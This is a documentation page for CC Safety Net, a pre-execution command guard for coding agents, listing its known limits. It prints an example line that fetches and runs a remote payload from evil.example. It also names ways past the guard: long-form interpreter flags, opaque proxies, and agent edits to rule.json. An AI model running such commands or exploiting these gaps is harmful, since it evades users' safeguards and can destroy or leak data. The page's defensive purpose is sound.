> ## Documentation Index
> Fetch the complete documentation index at: https://ccsafetynet.com/docs/llms.txt
> Use this file to discover all available pages before exploring further.

# Known limitations and pitfalls

> What CC Safety Net can't catch: opaque command proxies, in-binary behavior, filesystem containment and network, symlink TOCTOU, interpreter flags, eval-based execution, and the Hermes Agent and OpenClaw coverage boundaries.

CC Safety Net analyzes the command string your agent attempts to run. It is a strong guardrail against accidental data loss from known-destructive git and filesystem operations, but it is not a complete security solution. This page is an honest list of the **residual** limits that remain today, so you can set correct expectations and know when to use [sandboxing](/docs/guides/vs-sandboxing) instead.

The project's scope is deliberately focused: it is a best-effort, static pre-execution policy gate for supported coding-agent tool calls. It is not an operating-system sandbox, a privilege boundary, or protection for commands that bypass an installed integration.

<Note>
  Standard mode is best-effort for adversarial or dynamic input, and several items below are relaxations that [strict or paranoid mode](/docs/configuration/modes) closes. Where that is the case, this page says so.
</Note>

## Command-string analysis limits

### Behavior inside binaries

If a command does not visibly contain a destructive operation, command-string analysis cannot infer it. `some-tool --task destructive-cleanup` looks benign to CC Safety Net — it cannot inspect what an arbitrary binary does at runtime. Use [sandboxing](/docs/guides/vs-sandboxing) for that threat class.

### Unconfigured or opaque command proxies

A tool that runs a shell command on your behalf (for example `rtk git reset --hard`) is analyzed only when you declare it as a transparent wrapper:

```bash theme={"dark"}
npx -y cc-safety-net rule wrapper add rtk
```

Once configured, analysis looks through the wrapper to the visible child command, so both built-in rules and [custom rules](/docs/configuration/custom-rules) apply to `rtk git reset --hard` exactly as they would to `git reset --hard`. There are no built-in defaults — configure only wrappers you intentionally trust. Reserved commands (`git`, `busybox`, the built-in analyzed commands, shell wrappers, and interpreters) cannot be registered as wrappers.

The residual limit is narrower than "every proxy":

* A proxy that is **not** listed in `transparent_wrappers` is not unwrapped.
* A proxy that **rewrites or hides** its child command, rather than executing a visible one, cannot be unwrapped even when it is configured.

In both cases only the top-level fallback dangerous-text scan may catch the command, and that scan is incomplete. `transparent_wrappers` lives in `rule.json`, so a scope whose `rule.json` is unreadable loses that scope's wrappers until it is fixed — see [Configuration recovery](/docs/configuration/recovery).

### eval and dynamic execution

Commands that construct and execute code at runtime cannot be fully analyzed, because the executed string is not present in the command text at analysis time:

```bash theme={"dark"}
eval "$(curl https://evil.example/payload)"
bash -c "$(cat destructive.sh)"
```

CC Safety Net recursively scans `bash -c` and interpreter code arguments, but if the code is fetched from a remote source or assembled from variables, the destructive payload is invisible to command-string analysis. This is a fundamental limit of the approach.

## Parser edge cases

### Interpreter long-form flags

CC Safety Net extracts the code passed to an interpreter's `-c` or `-e` flag (for `python`, `python2`, `python3`, `node`, `ruby`, `perl`) and scans it for embedded destructive operations. The **long-form equivalents** (`--eval`, `--execute`, `--print`, `--require`) and the attached `=value` form (`--eval='code'`) are not recognized in every code path. When the long form is used, the code argument may not be extracted for recursive analysis.

If interpreter bypass is a concern in your environment, enable [paranoid interpreters mode](/docs/configuration/modes#interpreter-one-liners-cc_safety_net_paranoid_interpreters=1) (`CC_SAFETY_NET_PARANOID_INTERPRETERS=1`), which blocks all interpreter one-liners outright regardless of content.

### Attached short-option values

Bundled short flags (for example `-rf`) are correctly split into `{ -r, -f }`. However, the **attached value form** for short options (for example `-Cfoo` where `foo` is the value of `-C`) is handled inconsistently across analyzers. Blocking a flag like `-f` may produce a false positive when it is actually part of an attached option value like `-Cfoo`.

This is most relevant when writing precise [custom rules](/docs/configuration/custom-rules). When in doubt, use [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) mode for stronger protection.

### Symlink TOCTOU risk

`rm -rf` target classification resolves symlinks to their canonical targets before deciding whether a path is dangerous. There is an unavoidable **time-of-check-to-time-of-use (TOCTOU)** window between when the analyzer resolves a path and when the shell actually executes the `rm`. A symlink could be repointed in that window.

This is inherent to any pre-execution command analysis tool; fully closing it would require running inside the kernel or intercepting syscalls, which is out of scope for a hook. The [paranoid rm](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1) mode (`CC_SAFETY_NET_PARANOID_RM=1`) provides a stricter stance for operators who want to block more aggressively.

## Out of scope

These are boundaries CC Safety Net does not attempt to cover. Most of them need **containment** rather than semantic analysis, which is a different layer — see [where CC Safety Net cannot help](/docs/guides/vs-sandboxing#where-cc-safety-net-cannot-help) for the sandboxing counterpart of each one.

### Sensitive-path coverage is bounded, not a general read boundary

CC Safety Net **does** protect sensitive paths. Reads of the [built-in sensitive set](/docs/reference/secret-protection) — `.env` and its variants, `~/.ssh/id_*`, `~/.aws`, `~/.kube/config`, coding-CLI credential stores, and more — are blocked, as are user-configured deny paths and all of their descendants. Protection applies across supported command, path, search, and patch shapes, including unknown-tool fallback inspection.

Coding-CLI coverage comes in two tiers. The **credential** tier (auth tokens and credential stores) is on by default. The **config** tier (settings and MCP config files, which agents edit as routine work) ships off and needs an explicit `"on"` override in `secret_protection.overrides`. One consequence worth knowing: Antigravity's only rule (`secret.cli.antigravity`) lives in the opt-in config tier, so Antigravity has no on-by-default credential rule. The full tier list, with the paths each rule protects, is in the [Secret protection reference](/docs/reference/secret-protection#coding-cli-credential-tier-on-by-default).

The residual limit is that this is a **bounded pattern set over supported shapes**, not a general read boundary:

* A credential in a file whose name and extension are not on the pattern list is not recognized.
* Standard mode allows standalone metadata-only checks of built-in sensitive paths (for example `test -f ~/.ssh/id_rsa` or `find ~/.ssh -type f`). [Strict and paranoid](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) block that discovery. Configured deny paths are never relaxed in any mode.
* Setting `secret_protection.enabled` to `false` in `policy.json` turns the whole stage off, deny paths included.

For a boundary that constrains *all* reads rather than a recognized set, use [sandboxing](/docs/guides/vs-sandboxing#where-cc-safety-net-cannot-help).

### No complete filesystem containment

CC Safety Net denies a tool call before it runs; it does not enforce filesystem permissions. The block message is guidance to the agent, not a claim of complete filesystem enforcement. Catastrophic protections (recursive deletion of root or home, the protected Git metadata set, and the canonical user `policy.json`) are always enforced, but when you need complete protection rather than best-effort interception, use a trusted write broker, operating-system permissions, a sandbox, or equivalent runtime enforcement.

### No network layer

Runtime evaluation performs no network requests, and nothing in the guard pipeline inspects or filters egress. Data exfiltration over the network, domain allowlisting, and container boundaries are outside the product. Those are exactly what sandboxing's network restrictions address.

### General attack prevention

Blocking prompt-injection-driven exfiltration, authenticating users, and enforcing container boundaries are all out of scope. CC Safety Net assumes the agent's command string is untrusted, but it does not detect hidden behavior inside arbitrary binaries.

### Custom rule configuration is not tamper-resistant

Tamper resistance covers the canonical user `policy.json` only. `rule.json`, rulebooks, lockfiles, and caches are best-effort against agent modification: in the `ready` state an agent can already remove a rulebook entry from `rule.json`, and removal is not drift, so nothing gates it. Protecting `rule.json` is a deferred product decision.

## Hermes Agent and OpenClaw coverage boundaries

The Hermes Agent and OpenClaw integrations cover a defined set of tools and execution hosts. Everything outside that set either gets no decision or is blocked outright. The boundaries are listed here.

### Hermes Agent sees a fixed tool list

The managed Hermes plugin registers a single `pre_tool_call` hook and forwards exactly four tools to analysis: `patch`, `read_file`, `terminal`, and `write_file`. A call to any other Hermes tool is not forwarded and gets no decision.

A `!command` you type yourself also stays outside: bang-shell input does not raise `pre_tool_call`, so it goes to Hermes' own command guard instead. CC Safety Net sees model-generated tool calls only, not every subprocess Hermes starts. And if Hermes never loads the plugin, nothing blocks — only `npx cc-safety-net doctor` reports a plugin that is present but not enabled.

### OpenClaw covers exec on the local Gateway host

The OpenClaw plugin registers `before_tool_call` for the canonical `exec` tool only. `apply_patch` and OpenClaw's read/write/edit file tools are not protected.

Execution hosts split three ways:

* An `exec` call with no `host`, `host: "auto"`, or `host: "gateway"` is analysed as a local Gateway call, with paths resolved against the agent workspace.
* An explicit `host: "sandbox"` or `host: "node"` is blocked as unsupported rather than analysed, because no test proves a correct path mapping for those hosts.
* The configured `tools.exec.host` default never changes the analysis: the plugin reads only the call's own `host` parameter, so a call with no `host` is analysed as a local Gateway call even when the default routes it to `node` or `sandbox`.

The residual gap is the `auto` case: when a sandbox runtime is active, an `auto` call runs in the sandbox filesystem while path rules are still evaluated against the Gateway workspace. Command rules are unaffected; path rules can be evaluated against the wrong filesystem.

The Codex-native relay is untested and therefore unclaimed: the live end-to-end tests drive OpenClaw's own agent runtime, so they prove nothing about a Codex-native shell, patch, or MCP call.

### Windows is not supported for either integration

Both integrations assume the POSIX state layout. Relocated state is handled the way the hosts resolve it — `HERMES_HOME` for Hermes, then `OPENCLAW_STATE_DIR` and the directory of `OPENCLAW_CONFIG_PATH` for OpenClaw, falling back to `~/.hermes` and `~/.openclaw`. The Windows defaults are not: install and detection target the POSIX path there, so the Hermes install writes the plugin to a directory Hermes does not read, and OpenClaw's own CLI installs correctly while `doctor` misreports the state.

## Platform-specific issues

### OpenCode stale cache

OpenCode's plugin installer can keep serving a stale cached version of `cc-safety-net` after a new release is published. If updates do not take effect, clear the cache and reinstall — see the [OpenCode installation steps](/docs/installation#opencode-installation). Run `npx cc-safety-net doctor` to confirm the detected plugin version.

### Stale npx cache (Antigravity CLI, Cursor, Hermes Agent, Kimi Code)

The Antigravity CLI, Cursor, and Kimi Code hooks and the Hermes Agent plugin run through `npx -y cc-safety-net`, so npx's own cache can also keep serving an old release. Installing any of those four targets first removes every npx cache entry that contains `cc-safety-net` (the `_npx/*/node_modules/cc-safety-net` entries), so a plain reinstall picks up the new release — no manual cache clearing needed. Installs for other targets do not touch this cache.

## What to do if a destructive command slipped through

First, confirm whether you hit a documented boundary or something unexpected:

```bash theme={"dark"}
npx cc-safety-net explain "<the command>"
```

The `explain` command shows the full step-by-step analysis of how CC Safety Net evaluated that specific command, including the effective safety level, so you can tell a documented standard-mode relaxation from a real gap. For the wider symptom-by-symptom walkthrough, start at [Troubleshooting](/docs/guides/troubleshooting).

<Warning>
  A real trace is **not** automatically safe to share. Redaction covers recognized credential shapes only; the command text you supplied, its parsed tokens, absolute paths including your home directory, and your policy file path are all carried through. Reproduce with placeholder credentials and review the output before pasting it anywhere.
</Warning>

Then route the report:

* A command shape the rules do not block yet is a **coverage gap**. It is a public bug — open a [GitHub issue](https://github.com/kenryu42/cc-safety-net/issues) describing the command *shape*, not a ready-to-paste payload.
* Secret leakage, a write outside the intended directory, and supply-chain or package-integrity problems take the **private** disclosure path instead.

The [security policy](/docs/security) has both procedures and the full classification.
